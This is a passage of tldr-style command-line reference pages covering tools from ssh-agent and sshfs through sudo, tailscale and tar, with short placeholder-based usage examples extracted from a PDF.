• Start an SSH Agent for the current shell:

eval $(ssh-agent)

• Kill the currently running agent:

ssh-agent -k
ssh-copy-id
Install your public key in a remote machine's authorized_keys.

More information: https://manned.org/ssh-copy-id.

• Copy your keys to the remote machine:

ssh-copy-id {{username@remote_host}}

• Copy the given public key to the remote:

ssh-copy-id -i {{path/to/certificate}} {{username}}


@{{remote_host}}

• Copy the given public key to the remote with specific port:

ssh-copy-id -i {{path/to/certificate}} -p {{port}}


{{username}}@{{remote_host}}
ssh-keygen
Generate ssh keys used for authentication, password-less logins, and other things.

More information: https://man.openbsd.org/ssh-keygen.

• Generate a key interactively:

ssh-keygen

• Specify file in which to save the key:

ssh-keygen -f {{~/.ssh/filename}}

• Generate an ed25519 key with 100 key derivation function rounds:

ssh-keygen -t {{ed25519}} -a {{100}}

• Generate an RSA 4096-bit key with email as a comment:

ssh-keygen -t {{dsa|ecdsa|ed25519|rsa}} -b {{4096}} -C


"{{comment|email}}"

• Remove the keys of a host from the known_hosts file (useful when a known host
has a new key):

ssh-keygen -R {{remote_host}}

• Retrieve the fingerprint of a key in MD5 Hex:

ssh-keygen -l -E {{md5}} -f {{~/.ssh/filename}}

• Change the password of a key:

ssh-keygen -p -f {{~/.ssh/filename}}

• Change the type of the key format (for example from OPENSSH format to PEM),
the file will be rewritten in-place:

ssh-keygen -p -N "" -m {{PEM}} -f {{~/.ssh/


OpenSSH_private_key}}
ssh-keyscan
Get the public ssh keys of remote hosts.

More information: https://man.openbsd.org/ssh-keyscan.

• Retrieve all public ssh keys of a remote host:

ssh-keyscan {{host}}

• Retrieve all public ssh keys of a remote host listening on a specific port:

ssh-keyscan -p {{port}} {{host}}

• Retrieve certain types of public ssh keys of a remote host:

ssh-keyscan -t {{rsa,dsa,ecdsa,ed25519}} {{host}}

• Manually update the ssh known_hosts file with the fingerprint of a given host:

ssh-keyscan -H {{host}} >> ~/.ssh/known_hosts


ssh
Secure Shell is a protocol used to securely log onto remote systems.

It can be used for logging or executing commands on a remote server.

More information: https://man.openbsd.org/ssh.

• Connect to a remote server:

ssh {{username}}@{{remote_host}}

• Connect to a remote server with a specific identity (private key):

ssh -i {{path/to/key_file}} {{username}}@{{remote_host}}

• Connect to a remote server using a specific port:

ssh {{username}}@{{remote_host}} -p {{2222}}

• Run a command on a remote server with a [t]ty allocation allowing interaction


with the remote command:

ssh {{username}}@{{remote_host}} -t {{command}}


{{command_arguments}}

• SSH tunneling: Dynamic port forwarding (SOCKS proxy on localhost:1080):

ssh -D {{1080}} {{username}}@{{remote_host}}

• SSH tunneling: Forward a specific port (localhost:9999 to example.org:80)


along with disabling pseudo-[T]ty allocation and executio[N] of remote
commands:

ssh -L {{9999}}:{{example.org}}:{{80}} -N -T {{username}}


@{{remote_host}}

• SSH jumping: Connect through a jumphost to a remote server (Multiple jump hops
may be specified separated by comma characters):

ssh -J {{username}}@{{jump_host}} {{username}}


@{{remote_host}}

• Agent forwarding: Forward the authentication information to the remote machine


(see man ssh_config for available options):

ssh -A {{username}}@{{remote_host}}
sshd
Secure Shell Daemon - allows remote machines to securely log in to the current
machine.

Remote machines can execute commands as it is executed at this machine.

More information: https://man.openbsd.org/sshd.

• Start daemon in the background:

sshd

• Run sshd in the foreground:

sshd -D

• Run with verbose output (for debugging):

sshd -D -d

• Run on a specific port:

sshd -p {{port}}
sshfs
Filesystem client based on ssh.

More information: https://github.com/libfuse/sshfs.

• Mount remote directory:

sshfs {{username}}@{{remote_host}}:{{remote_directory}}
{{mountpoint}}

• Unmount remote directory:

umount {{mountpoint}}

• Mount remote directory from server with specific port:

sshfs {{username}}@{{remote_host}}:{{remote_directory}} -p
{{2222}}

• Use compression:

sshfs {{username}}@{{remote_host}}:{{remote_directory}} -C

• Follow symbolic links:

sshfs -o follow_symlinks {{username}}@{{remote_host}}:


{{remote_directory}} {{mountpoint}}
sshpass
An ssh password provider.

It works by creating a TTY, feeding the password into it, and then redirecting stdin to
the ssh session.

More information: https://manned.org/sshpass.

• Connect to a remote server using a password supplied on a file descriptor (in this
case, stdin):

sshpass -d {{0}} ssh {{user}}@{{hostname}}

• Connect to a remote server with the password supplied as an option, and


automatically accept unknown ssh keys:

sshpass -p {{password}} ssh -o StrictHostKeyChecking=no


{{user}}@{{hostname}}

• Connect to a remote server using the first line of a file as the password,
automatically accept unknown ssh keys, and launch a command:

sshpass -f {{file}} ssh -o StrictHostKeyChecking=no {{user}}


@{{hostname}} "{{command}}"
sshuttle
Transparent proxy server that tunnels traffic over an SSH connection.

Doesn't require root or any special setup on the remote SSH server, though root access
on the local machine is prompted for.

More information: https://manned.org/sshuttle.

• Forward all IPv4 TCP traffic via a remote SSH server:

sshuttle --remote={{username}}@{{sshserver}} {{0.0.0.0/0}}

• Also forward all DNS traffic to the server's default DNS resolver:

sshuttle --dns --remote={{username}}@{{sshserver}}


{{0.0.0.0/0}}

• Forward all traffic except that which is bound for a specific subnet:

sshuttle --remote={{username}}@{{sshserver}} {{0.0.0.0/0}} --


exclude {{192.168.0.1/24}}

• Use the tproxy method to forward all IPv4 and IPv6 traffic:

sshuttle --method=tproxy --remote={{username}}@{{sshserver}}


{{0.0.0.0/0}} {{::/0}} --exclude={{your_local_ip_address}} --
exclude={{ssh_server_ip_address}}
sslscan
Check SSL/TLS protocols and ciphers supported by a server.

More information: https://github.com/rbsec/sslscan.

• Test a server on port 443:

sslscan {{example.com}}

• Test a specified port:

sslscan {{example.com}}:{{465}}

• Show certificate information:

testssl --show-certificate {{example.com}}


st-flash
Flash binary files to STM32 ARM Cortex microcontrollers.

More information: https://github.com/texane/stlink.

• Read 4096 bytes from the device starting from 0x8000000:

st-flash read {{firmware}}.bin {{0x8000000}} {{4096}}

• Write firmware to device starting from 0x8000000:

st-flash write {{firmware}}.bin {{0x8000000}}

• Erase firmware from device:

st-flash erase
st-info
Provides information about connected STLink and STM32 devices.

More information: https://github.com/texane/stlink.

• Display amount of program memory available:

st-info --flash

• Display amount of SRAM memory available:

st-info --sram

• Display summarized information of the device:

st-info --probe
st-util
Run GDB (GNU Debugger) server to interact with STM32 ARM Cortex microcontoller.

More information: https://github.com/texane/stlink.

• Run GDB server on port 4500:

st-util -p {{4500}}

• Connect to GDB server:

(gdb) target extended-remote {{localhost}}:{{4500}}

• Write firmware to device:

(gdb) load {{firmware.elf}}


stack
Tool for managing Haskell projects.

More information: https://github.com/commercialhaskell/stack.

• Create a new package:

stack new {{package_name}} {{template_name}}

• Compile a package:

stack build

• Run tests inside a package:

stack test

• Compile a project and re-compile every time a file changes:

stack build --file-watch

• Compile a project and execute a command after compilation:

stack build --exec "{{command}}"

• Run a program and pass an argument to it:

stack exec {{program_name}} -- {{argument}}


standard
The JavaScript Standard Style tool for linting and fixing JavaScript code.

More information: https://standardjs.com.

• Lint all JavaScript source files in the current directory:

standard

• Lint specific JavaScript file(s):

standard {{path/to/file(s)}}

• Apply automatic fixes during linting:

standard --fix

• Declare any available global variables:

standard --global {{variable}}

• Use a custom ESLint plugin when linting:

standard --plugin {{plugin}}

• Use a custom JS parser when linting:

standard --parser {{parser}}

• Use a custom ESLint environment when linting:

standard --env {{environment}}


starship init
Print shell integration code for starship.

More information: https://starship.rs.

• Display the subcommand help:

starship init --help

• Print the starship integration code for the specified shell:

starship init {{bash|elvish|fish|ion|powershell|tcsh|zsh}}

• Append the starship integration code to ~/.bashrc:

starship init {{bash}} >> {{~/.bashrc}}

• Append the starship integration code to ~/.zshrc:

starship init {{zsh}} >> {{~/.zshrc}}


starship
The minimal, blazing-fast, and infinitely customizable prompt for any shell.

Some subcommands such as starship init have their own usage documentation.

More information: https://starship.rs.

• Print the starship integration code for the specified shell:

starship init {{bash|elvish|fish|ion|powershell|tcsh|zsh}}

• Explain each part of the current prompt and show the time taken to render them:

starship explain

• Print the computed starship configuration (use --default to print default


configuration instead):

starship print-config

• List supported modules:

starship module --list

• Edit the starship configuration in the default editor:

starship configure

• Create a bug report GitHub issue pre-populated with information about the
system and starship configuration:

starship bug-report

• Print the completion script for the specified shell:

starship completions {{bash|elvish|fish|powershell|zsh}}

• Display help for a subcommand:

starship {{subcommand}} --help


stat
Display file and filesystem information.

More information: https://www.gnu.org/software/coreutils/manual/html_node/stat-


invocation.html.

• Show file properties such as size, permissions, creation and access dates among
others:

stat {{file}}

• Same as above but in a more concise way:

stat -t {{file}}

• Show filesystem information:

stat -f {{file}}

• Show only octal file permissions:

stat -c "%a %n" {{file}}

• Show owner and group of the file:

stat -c "%U %G" {{file}}

• Show the size of the file in bytes:

stat -c "%s %n" {{file}}


stdbuf
Run a command with modified buffering operations for its standard streams.

More information: https://www.gnu.org/software/coreutils/stdbuf.

• Change the standard input buffer size to 512 KiB:

stdbuf --input={{512K}} {{command}}

• Change the standard output buffer to line-buffered:

stdbuf --output={{L}} {{command}}

• Change the standard error buffer to unbuffered:

stdbuf --error={{0}} {{command}}


steam
Video game platform by Valve.

More information: https://developer.valvesoftware.com/wiki/


Command_Line_Options#Steam_.28Windows.29.

• Launch Steam, printing debug messages to stdout:

steam

• Launch Steam and enable its in-app debug console tab:

steam -console

• Enable and open the Steam console tab in a running Steam instance:

steam steam://open/console

• Log into Steam with the specified credentials:

steam -login {{username}} {{password}}

• Launch Steam in Big Picture Mode:

steam -tenfoot

• Exit Steam:

steam -shutdown
steamcmd
A command-line version of the Steam client.

More information: https://manned.org/steamcmd.

• Install or update an application anonymously:

steamcmd +login {{anonymous}} +app_update {{appid}} +quit

• Install or update an application using the specified credentials:

steamcmd +login {{username}} +app_update {{appid}} +quit

• Install an application for a specific platform:

steamcmd +@sSteamCmdForcePlatformType {{windows}} +login


{{anonymous}} +app_update {{appid}} validate +quit
stern
Tail multiple pods and containers from Kubernetes.

More information: https://github.com/wercker/stern/.

• Tail all pods within a current namespace:

stern .

• Tail all pods with a specific status:

stern . --container-state {{running|waiting|terminated}}

• Tail all pods that matches a given regular expression:

stern {{pod_query}}

• Tail matched pods from all namespaces:

stern {{pod_query}} --all-namespaces

• Tail matched pods from 15 minutes ago:

stern {{pod_query}} --since {{15m}}

• Tail matched pods with a specific label:

stern {{pod_query}} --selector {{release=canary}}


stl2gts
Convert STL files into the GTS (GNU triangulated surface library) file format.

More information: https://manned.org/stl2gts.

• Convert an STL file to a GTS file:

stl2gts < {{path/to/file.stl}} > {{path/to/file.gts}}

• Convert an STL file to a GTS file and revert face normals:

stl2gts --revert < {{path/to/file.stl}} > {{path/to/


file.gts}}

• Convert an STL file to a GTS file and do not merge vertices:

stl2gts --nomerge < {{path/to/file.stl}} > {{path/to/


file.gts}}

• Convert an STL file to a GTS file and display surface statistics:

stl2gts --verbose < {{path/to/file.stl}} > {{path/to/


file.gts}}

• Print help for stl2gts:

stl2gts --help
stolonctl
CLI for Stolon, a cloud native PostgreSQL manager for PostgreSQL high availability.

More information: https://github.com/sorintlab/stolon.

• Get cluster status:

stolonctl --cluster-name {{cluster_name}} --store-backend


{{store_backend}} --store-endpoints {{store_endpoints}}
status

• Get cluster data:

stolonctl --cluster-name {{cluster_name}} --store-backend


{{store_backend}} --store-endpoints {{store_endpoints}}
clusterdata

• Get cluster specification:

stolonctl --cluster-name {{cluster_name}} --store-backend


{{store_backend}} --store-endpoints {{store_endpoints}} spec

• Update cluster specification with a patch in JSON format:

stolonctl --cluster-name {{cluster_name}} --store-backend


{{store_backend}} --store-endpoints {{store_endpoints}}
update --patch '{{cluster_spec}}'
Stormlock
Centralized locking system.

More information: https://github.com/tmccombs/stormlock.

• Acquire a lease for resource:

stormlock aquire {{resource}}

• Release the given lease for the given resource:

stormlock release {{resource}} {{lease_id}}

• Show information on the current lease for a resource, if any:

stormlock current {{resource}}

• Test if a lease for given resource is currently active:

stormlock is-held {{resource}} {{lease_id}}


stow
Symlink manager.

Often used to manage dotfiles.

More information: https://www.gnu.org/software/stow.

• Symlink all files recursively to a given directory:

stow --target={{path/to/target_directory}} {{file1 directory1


file2 directory2}}

• Delete symlinks recursively from a given directory:

stow --delete --target={{path/to/target_directory}} {{file1


directory1 file2 directory2}}

• Simulate to see what the result would be like:

stow --simulate --target={{path/to/target_directory}} {{file1


directory1 file2 directory2}}

• Delete and resymlink:

stow --restow --target={{path/to/target_directory}} {{file1


directory1 file2 directory2}}

• Exclude files matching a regular expression:

stow --ignore={{regular_expression}} --target={{path/to/


target_directory}} {{file1 directory1 file2 directory2}}
streamlink
Extracts streams from various services and pipes them into a video player of choice.

More information: https://streamlink.github.io.

• Attempt to extract streams from the URL specified, and if it's successful, print out
a list of available streams to choose from:

streamlink {{example.com/stream}}

• Open a stream with the specified quality:

streamlink {{example.com/stream}} {{720p60}}

• Select the highest or lowest available quality:

streamlink {{example.com/stream}} {{best|worst}}

• Specify which player to use to feed stream data to (VLC is used by default if
found):

streamlink --player={{mpv}} {{example.com/stream}} {{best}}

• Specify the amount of time to skip from the beginning of the stream. For live
streams, this is a negative offset from the end of the stream (rewind):

streamlink --hls-start-offset {{[HH:]MM:SS}} {{example.com/


stream}} {{best}}

• Skip to the beginning of a live stream, or as far back as possible:

streamlink --hls-live-restart {{example.com/stream}} {{best}}

• Write stream data to a file instead of playing it:

streamlink --output {{path/to/file.ts}} {{example.com/


stream}} {{best}}

• Open the stream in the player, while at the same time writing it to a file:

streamlink --record {{path/to/file.ts}} {{example.com/


stream}} {{best}}
strings
Find printable strings in an object file or binary.

More information: https://manned.org/strings.

• Print all strings in a binary:

strings {{file}}

• Limit results to strings at least length characters long:

strings -n {{length}} {{file}}

• Prefix each result with its offset within the file:

strings -t d {{file}}

• Prefix each result with its offset within the file in hexadecimal:

strings -t x {{file}}
strip-nondeterminism
A tool to remove non-deterministic information (e.g. timestamps) from files.

More information: https://salsa.debian.org/reproducible-builds/strip-nondeterminism.

• Strip nondeterministic information from a file:

strip-nondeterminism {{path/to/file}}

• Strip nondeterministic information from a file manually specifying the filetype:

strip-nondeterminism --type {{filetype}} {{path/to/file}}

• Strip nondeterministic information from a file; instead of removing timestamps


set them to the specified UNIX timestamp:

strip-nondeterminism --timestamp {{unix_timestamp}} {{path/


to/file}}
stripe
Interact with a Stripe account.

More information: https://github.com/stripe/stripe-cli.

• Follow the logs of activity on the account:

stripe logs tail

• Listen for events, filtering on events with the name charge.succeeded and
forwarding them to localhost:3000/events:

stripe listen --events="{{charge.succeeded}}" --forward-


to="{{localhost:3000/events}}"

• Send a test webhook event:

stripe trigger {{charge.succeeded}}

• Create a customer:

stripe customers create --email="{{test@example.com}}" --


name="{{Jenny Rosen}}"

• Print to JSON:

stripe listen --print-json


stty
Set options for a terminal device interface.

More information: https://www.gnu.org/software/coreutils/stty.

• Display all settings for the current terminal:

stty -a

• Set the number of rows:

stty rows {{rows}}

• Set the number of columns:

stty cols {{cols}}

• Get the actual transfer speed of a device:

stty -F {{path/to/device_file}} speed

• Reset all modes to reasonable values for the current terminal:

stty sane
su
Switch shell to another user.

More information: https://manned.org/su.

• Switch to superuser (requires the root password):

su

• Switch to a given user (requires the user's password):

su {{username}}

• Switch to a given user and simulate a full login shell:

su - {{username}}

• Execute a command as another user:

su - {{username}} -c "{{command}}"
subfinder
A subdomain discovery tool that discovers valid subdomains for websites.

Designed as a passive framework to be useful for bug bounties and safe for penetration
testing.

More information: https://github.com/subfinder/subfinder.

• Find subdomains for a specific domain:

subfinder -d {{example.com}}

• Show only the subdomains found:

subfinder --silent -d {{example.com}}

• Use a brute-force attack to find subdomains:

subfinder -d {{example.com}} -b

• Remove wildcard subdomains:

subfinder -nW -d {{example.com}}

• Use a given comma-separated list of resolvers:

subfinder -r {{8.8.8.8}},{{1.1.1.1}} -d {{example.com}}


subl
Sublime Text editor.

More information: https://www.sublimetext.com.

• Open the current directory in Sublime Text:

subl {{.}}

• Open a file or directory in Sublime Text:

subl {{path/to/file_or_directory}}

• Open a file and jump to a specific line number:

subl {{path/to/file}}:{{line_number}}

• Open a file or directory in the currently open window:

subl -a {{path/to/file}}

• Open a file or directory in a new window:

subl -n {{path/to/file}}
subliminal
Python-based subtitle downloader.

More information: https://github.com/Diaoul/subliminal.

• Download English subtitles for a video:

subliminal download -l {{en}} {{video.ext}}


sublist3r
Fast subdomains enumeration tool for penetration testers.

More information: https://github.com/aboul3la/Sublist3r.

• Find subdomains for a domain:

sublist3r --domain {{domain_name}}

• Find subdomains for a domain, also enabling brute force search:

sublist3r --domain {{domain_name}} --bruteforce

• Save the found subdomains to a text file:

sublist3r --domain {{domain_name}} --output {{path/to/


output_file}}

• Output all available options:

sublist3r --help
sudo
Executes a single command as the superuser or another user.

More information: https://www.sudo.ws/sudo.html.

• Run a command as the superuser:

sudo {{less /var/log/syslog}}

• Edit a file as the superuser with your default editor:

sudo --edit {{/etc/fstab}}

• Run a command as another user and/or group:

sudo --user={{user}} --group={{group}} {{id -a}}

• Repeat the last command prefixed with sudo (only in bash, zsh, etc.):

sudo !!

• Launch the default shell with superuser privileges and run login-specific files
(.profile, .bash_profile, etc.):

sudo --login

• Launch the default shell with superuser privileges without changing the
environment:

sudo --shell

• Launch the default shell as the specified user, loading the user's environment and
reading login-specific files (.profile, .bash_profile, etc.):

sudo --login --user={{user}}

• List the allowed (and forbidden) commands for the invoking user:

sudo --list
sum
Compute checksums and the number of blocks for a file.

A predecessor to the more modern cksum.

More information: https://www.gnu.org/software/coreutils/sum.

• Compute a checksum with BSD-compatible algorithm and 1024-byte blocks:

sum {{file}}

• Compute a checksum with System V-compatible algorithm and 512-byte blocks:

sum --sysv {{file}}


sup
A tool for managing an RSS feed contained in the current directory.

See also: lb.

More information: https://github.com/LukeSmithxyz/lb.

• Add an article to the RSS feed:

sup {{path/to/file.html}}
supervisorctl
Supervisor is a client/server system that allows its users to control a number of
processes on UNIX-like operating systems.

Supervisorctl is the command-line client piece of the supervisor which provides a shell-
like interface.

More information: http://supervisord.org.

• Start/stop/restart a process:

supervisorctl {{start|stop|restart}} {{process_name}}

• Start/stop/restart all processes in a group:

supervisorctl {{start|stop|restart}} {{group_name}}:*

• Show last 100 bytes of process stderr:

supervisorctl tail -100 {{process_name}} stderr

• Keep displaying stdout of a process:

supervisorctl tail -f {{process_name}} stdout

• Reload process config file to add/remove processes as necessary:

supervisorctl update
supervisord
Supervisor is a client/server system for controlling some processes on UNIX-like
operating systems.

Supervisord is the server part of supervisor; it is primarily managed via a configuration


file.

More information: http://supervisord.org.

• Start supervisord with specified configuration file:

supervisord -c {{path/to/file}}

• Run supervisord in the foreground:

supervisord -n
surfraw
CLI to query a variety of web search engines.

Consists of a collection of elvi, each of which knows how to search a specific website.

More information: http://surfraw.org.

• Display the list of supported website search scripts (elvi):

surfraw -elvi

• Open the elvi's results page for a specific search in the browser:

surfraw {{elvi}} "{{search_terms}}"

• Display an elvi description and its specific options:

surfraw {{elvi}} -local-help

• Search using an elvi with specific options and open the results page in the
browser:

surfraw {{elvi}} {{elvi_options}} "{{search_terms}}"

• Display the URL to the elvi's results page for a specific search:

surfraw -print {{elvi}} "{{search_terms}}"

• Search using the alias:

sr {{elvi}} "{{search_terms}}"
surge
Simple command-line web publishing.

More information: https://surge.sh.

• Upload a new site to surge.sh:

surge {{path/to/my_project}}

• Deploy site to custom domain (note that the DNS records must point to the
surge.sh subdomain):

surge {{path/to/my_project}} {{my_custom_domain.com}}

• List your surge projects:

surge list

• Remove a project:

surge teardown {{my_custom_domain.com}}


sv
Control a running runsv service.

More information: https://manpages.ubuntu.com/manpages/latest/man8/sv.8.html.

• Start a service:

sudo sv up {{path/to/service}}

• Stop a service:

sudo sv down {{path/to/service}}

• Get service status:

sudo sv status {{path/to/service}}

• Reload a service:

sudo sv reload {{path/to/service}}

• Start a service, but only if it's not running and don't restart it if it stops:

sudo sv once {{path/to/service}}


svgcleaner
SVG optimizing utility.

More information: https://github.com/RazrFalcon/svgcleaner.

• Optimize an SVG:

svgcleaner {{input.svg}} {{output.svg}}

• Optimize an SVG multiple times:

svgcleaner --multipass {{input.svg}} {{output.svg}}


svgo
SVG Optimizer: a Node.js-based tool for optimizing Scalable Vector Graphics files.

It applies a series of transformation rules (plugins), which can be toggled individually.

More information: https://github.com/svg/svgo.

• Optimize a file using the default plugins (overwrites the original file):

svgo {{test.svg}}

• Optimize a file and save the result to another file:

svgo {{test.svg}} -o {{test.min.svg}}

• Optimize all SVG files within a directory (overwrites the original files):

svgo -f {{path/to/directory/with/svg/files}}

• Optimize all SVG files within a directory and save the resulting files to another
directory:

svgo -f {{path/to/input/directory}} -o {{path/to/output/


directory}}

• Optimize SVG content passed from another command, and save the result to a file:

{{cat test.svg}} | svgo -i - -o {{test.min.svg}}

• Optimize a file and print out the result:

svgo {{test.svg}} -o -

• Show available plugins:

svgo --show-plugins
svn changelist
Associate a changelist with a set of files.

More information: http://svnbook.red-bean.com/en/1.7/svn.advanced.changelists.html.

• Add files to a changelist, creating the changelist if it does not exist:

svn changelist {{changelist_name}} {{path/to/file1}} {{path/


to/file2}}

• Remove files from a changelist:

svn changelist --remove {{path/to/file1}} {{path/to/file2}}

• Remove the whole changelist at once:

svn changelist --remove --recursive --changelist


{{changelist_name}} .

• Add the contents of a space-separated list of directories to a changelist:

svn changelist --recursive {{changelist_name}} {{path/to/


directory1}} {{path/to/directory2}}

• Commit a changelist:

svn commit --changelist {{changelist_name}}


svn
Subversion command-line client tool.

More information: https://subversion.apache.org.

• Check out a working copy from a repository:

svn co {{url/to/repository}}

• Bring changes from the repository into the working copy:

svn up

• Put files and directories under version control, scheduling them for addition to
repository. They will be added in next commit:

svn add {{PATH}}

• Send changes from your working copy to the repository:

svn ci -m {{commit_log_message}} [{{PATH}}]

• Display changes from the last 10 revisions, showing modified files for each
revision:

svn log -vl {{10}}

• Show detailed help:

svn help
swagger-codegen
Generate code and documentation for your REST api from a OpenAPI/swagger
definition.

More information: https://github.com/swagger-api/swagger-codegen.

• Generate documentation and code from an OpenAPI/swagger file:

swagger-codegen generate -i {{swagger_file}} -l {{language}}

• Generate Java code using the library retrofit2 and the option useRxJava2:

swagger-codegen generate -i {{http://petstore.swagger.io/v2/


swagger.json}} -l {{java}} --library {{retrofit2}} -
D{{useRxJava2}}={{true}}

• List available languages:

swagger-codegen langs

• Display help options for the generate command:

swagger-codegen help {{generate}}


swc
JavaScript and TypeScript compiler written in Rust.

More information: https://swc.rs.

• Transpile a specified input file and output to stdout:

swc {{path/to/file}}

• Transpile the input file every time it is changed:

swc {{path/to/file}} --watch

• Transpile a specified input file and output to a specific file:

swc {{path/to/input_file}} --out-file {{path/to/output_file}}

• Transpile a specified input directory and output to a specific directory:

swc {{path/to/input_directory}} --out-dir {{path/to/


output_directory}}

• Transpile a specified input directory using a specific configuration file:

swc {{path/to/input_directory}} --config-file {{path/


to/.swcrc}}

• Ignore files in a directory specified using glob path:

swc {{path/to/input_directory}} --ignore {{ignored_files}}


swift
Create, run and build Swift projects.

More information: https://swift.org.

• Start a REPL (interactive shell):

swift

• Execute a program:

swift {{file.swift}}

• Start a new project with the package manager:

swift package init

• Generate an Xcode project file:

swift package generate-xcodeproj

• Update dependencies:

swift package update

• Compile project for release:

swift build -c release


swig
Generate bindings between C / C++ code and various high level languages such as
JavaScript, Python, C#, and more.

It uses special .i or .swg files to generate the bindings (C/C++ with SWIG directives, then
outputs a C/C++ file that contains all the wrapper code needed to build an extension
module.

• Generate a binding between C++ and Python:

swig -c++ -python -o {{path/to/output_wrapper.cpp}} {{path/


to/swig_file.i}}

• Generate a binding between C++ and Go:

swig -go -cgo -intgosize 64 -c++ {{path/to/swig_file.i}}

• Generate a binding between C and Java:

swig -java {{path/to/swig_file.i}}

• Generate a binding between C and Ruby and prefix the Ruby module with
{{foo::bar::}}:

swig -ruby -prefix "{{foo::bar::}}" {{path/to/swig_file.i}}


swipl
SWI-Prolog - A comprehensive free Prolog environment.

More information: https://www.swi-prolog.org/.

• Start an interactive session:

swipl

• Execute a command without showing any output:

swipl --quiet -t "{{command}}"

• Execute a script:

swipl {{path/to/file.pl}}

• Print all shell configuration variables:

swipl --dump-runtime-variables

• Print the version:

swipl --version
symfony
The console component for the Symfony framework.

More information: https://symfony.com.

• Create a new Symfony project:

symfony new {{name}}

• Run a local web server:

symfony serve

• Stop the local web server:

symfony server:stop

• Check for security issues in the project's dependencies:

symfony security:check
sync
Flushes all pending write operations to the appropriate disks.

More information: https://www.gnu.org/software/coreutils/sync.

• Flush all pending write operations on all disks:

sync

• Flush all pending write operations on a single file to disk:

sync {{path/to/file}}
syncthing
Continuous bidirectional decentralised folder synchronisation tool.

More information: https://docs.syncthing.net/.

• Start Syncthing:

syncthing

• Start Syncthing without opening a web browser:

syncthing -no-browser

• Print the device ID:

syncthing -device-id

• Change the home directory:

syncthing -home={{path/to/directory}}

• Force a full index exchange:

syncthing -reset-deltas

• Change the address upon which the web interface listens:

syncthing -gui-address={{ip_address:port|path/to/
socket.sock}}

• Show filepaths to the files used by Syncthing:

syncthing -paths

• Disable the Syncthing monitor process:

syncthing -no-restart
tabula
Extract tables from PDF files.

More information: https://tabula.technology.

• Extract all tables from a PDF to a CSV file:

tabula -o {{file.csv}} {{file.pdf}}

• Extract all tables from a PDF to a JSON file:

tabula --format JSON -o {{file.json}} {{file.pdf}}

• Extract tables from pages 1, 2, 3, and 6 of a PDF:

tabula --pages {{1-3,6}} {{file.pdf}}

• Extract tables from page 1 of a PDF, guessing which portion of the page to
examine:

tabula --guess --pages {{1}} {{file.pdf}}

• Extract all tables from a PDF, using ruling lines to determine cell boundaries:

tabula --spreadsheet {{file.pdf}}

• Extract all tables from a PDF, using blank space to determine cell boundaries:

tabula --no-spreadsheet {{file.pdf}}


tac
Print and concatenate files in reverse (last line first).

More information: https://www.gnu.org/software/coreutils/tac.

• Print the contents of file1 reversed to the standard output:

tac {{file1}}

• Print the contents of the standard input reversed to the standard output:

{{command}} | tac

• Concatenate several files reversed into the target file:

tac {{file1}} {{file2}} > {{target_file}}


tail
Display the last part of a file.

See also: head.

More information: https://www.gnu.org/software/coreutils/tail.

• Show last 'count' lines in file:

tail --lines {{count}} {{path/to/file}}

• Print a file from a specific line number:

tail --lines +{{count}} {{path/to/file}}

• Print a specific count of bytes from the end of a given file:

tail --bytes {{count}} {{path/to/file}}

• Print the last lines of a given file and keep reading file until Ctrl + C:

tail --follow {{path/to/file}}

• Keep reading file until Ctrl + C, even if the file is inaccessible:

tail --retry --follow {{path/to/file}}

• Show last 'num' lines in 'file' and refresh every 'n' seconds:

tail --lines {{count}} --sleep-interval {{seconds}} --follow


{{path/to/file}}
tailscale up
Connects the client to the Tailscale network.

In version 1.8 and above, command line arguments are stored and reused until they're
overwritten or --reset is called.

More information: https://tailscale.com/kb/admin/.

• Connect to Tailscale:

sudo tailscale up

• Connect and offer the current machine to be an exit node for internet traffic:

sudo tailscale up --advertise-exit-node

• Connect using a specific node for internet traffic:

sudo tailscale up --exit-node={{exit_node_ip}}

• Connect and block incoming connections to the current node:

sudo tailscale up --shields-up

• Connect and don't accept DNS configuration from the admin panel (defaults to
true):

sudo tailscale up --accept-dns={{false}}

• Connect and configure Tailscale as a subnet router:

sudo tailscale up --advertise-routes={{10.0.0.0/24}},


{{10.0.1.0/24}}

• Connect and accept subnet routes from Tailscale:

sudo tailscale up --accept-routes

• Reset unspecified settings to their default values and connect:

sudo tailscale up --reset


tailscale
A private WireGuard network service.

Some subcommands such as tailscale up have their own usage documentation.

More information: https://tailscale.com.

• Connect to Tailscale:

sudo tailscale up

• Disconnect from Tailscale:

sudo tailscale down

• Display the current Tailscale IP addresses:

tailscale ip

• Ping a peer node at the Tailscale layer and display which route it took for each
response:

tailscale ping {{ip|hostname}}

• Analyze the local network conditions and display the result:

tailscale netcheck

• Start a web server for controlling Tailscale:

tailscale web

• Display a shareable identifier to help diagnose issues:

tailscale bugreport

• Display help for a subcommand:

tailscale {{subcommand}} --help


takeout
A Docker-based development-only dependency manager.

More information: https://github.com/tighten/takeout.

• Display a list of available services:

takeout enable

• Enable a specific service:

takeout enable {{name}}

• Enable a specific service with the default parameters:

takeout enable --default {{name}}

• Display a list of enabled services:

takeout disable

• Disable a specific service:

takeout disable {{name}}

• Disable all services:

takeout disable --all

• Start a specific container:

takeout start {{container_id}}

• Stop a specific container:

takeout stop {{container_id}}


tar
Archiving utility.

Often combined with a compression method, such as gzip or bzip2.

More information: https://www.gnu.org/software/tar.

• [c]reate an archive and write it to a [f]ile:

tar cf {{target.tar}} {{file1}} {{file2}} {{file3}}

• [c]reate a g[z]ipped archive and write it to a [f]ile:

tar czf {{target.tar.gz}} {{file1}} {{file2}} {{file3}}

• [c]reate a g[z]ipped archive from a directory using relative paths:

tar czf {{target.tar.gz}} --directory={{path/to/directory}} .

• E[x]tract a (compressed) archive [f]ile into the current directory [v]erbosely:

tar xvf {{source.tar[.gz|.bz2|.xz]}}

• E[x]tract a (compressed) archive [f]ile into the target directory:

tar xf {{source.tar[.gz|.bz2|.xz]}} --directory={{directory}}

• [c]reate a compressed archive and write it to a [f]ile, using [a]rchive suffix to


determine the compression program:

tar caf {{target.tar.xz}} {{file1}} {{file2}} {{file3}}

• Lis[t] the contents of a tar [f]ile [v]erbosely:

tar tvf {{source.tar}}

• E[x]tract files matching a pattern from an archive [f]ile:

tar xf {{source.tar}} --wildcards "{{*.html}}"


task
TODO list manager.

More information: https://manned.org/task.

• Add new task:

task add {{thing_to_do}}

• List tasks:

task list

• Mark task as completed:

task {{task_id}} done

• Modify task:

task {{task_id}} modify {{new_thing_to_do}}

• Delete task:

task {{task_id}} delete


tb
CLI for managing tasks and notes across multiple boards.

More information: https://github.com/klaussinani/taskbook.

• Add a new task to a board:

tb --task {{task_description}} @{{board_name}}

• Add a new note to a board:

tb --note {{note_description}} @{{board_name}}

• Edit item's priority:

tb --priority @{{item_id}} {{priority}}

• Check/uncheck item:

